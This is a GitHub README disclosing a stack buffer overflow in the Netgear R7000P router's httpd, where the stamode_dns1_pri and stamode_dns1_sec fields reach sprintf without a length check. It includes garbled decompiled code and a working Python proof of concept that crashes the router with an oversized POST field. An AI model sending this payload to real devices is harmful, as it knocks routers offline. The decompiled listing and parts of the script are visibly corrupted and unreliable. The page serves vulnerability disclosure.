

adme.md

Netgear R7000P has a Stack Buffer Overflow Vulnerability

Product

- 1. product information: https://www.netgear.com
- 2. firmware download: http://www.downloads.netgear.com/files/GDC/R7000P/R7000P-V1.3.0.8_1.0.93.zip

http://www.downloads.netgear.com/files/GDC/R7000P/R7000P-V1.3.1.64_10.1.36.zip

Affected version

V1.3.0.8, V1.3.1.64

Vulnerability

The stack overfow vulnerability is in /usr/sbin/httpd. The vulnerability occurrs in the sub_62A2C function, which can be accessed via the URL http://routerlogin.net/DIG_reboot_wireless.htm.

```
637
          acosNyramConfig set((int)"ap dyn dns". (int)"0")
          sub_1A54C(a1, "stamode_dns1_pri", v109, 2048);
sub_1A54C(a1, "stamode_dns1_sec", v108, 2048);
638
639
640
               = strcmp(v108,
641
          if (!v86)
643
             v88 = -3440;
             v87 = &v123;
644
  645
  646
647
             LOBYTE(v87[v88]) = 0;
648
          sprintf((char *)s, "%s %s", v109, v108); VUIN
  649
          v85 = (char *)s;
  650
```

In this function, stamode_dns1_pri is controllable and will be passed into the v109 variable and v109 will be passed into stack s by sprintf. It is worth noting that there is no size check, which leads to a stack overflow vulnerability.

Also, stamode_dns1_sec is controllable and will be passed into the v108 variable and v108 will be passed into stack s by sprintf. It is worth noting that there is no size check, which leads to a stack overflow vulnerability.

PoC

```
import socket
import os
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
11 = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
ip = '192.168.0.1'
port = 80
r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
r.connect((ip, port))
rn = b' r n'
p1 = b'a' * 0x3000
p2 = b'stamode_dns1_pri=' + p1 # payload
p3 = b"POST /WLG_wireless_dual_band_r10.html" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"+rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2
r.send(p3)
response = r.recv(4096)
response = response.decode()
li(response)
```





© 2022 GitHub, Inc.

Terms

Privacy

Security

Status

Docs

Contact GitHub

Pricing
API
Training
Blog
About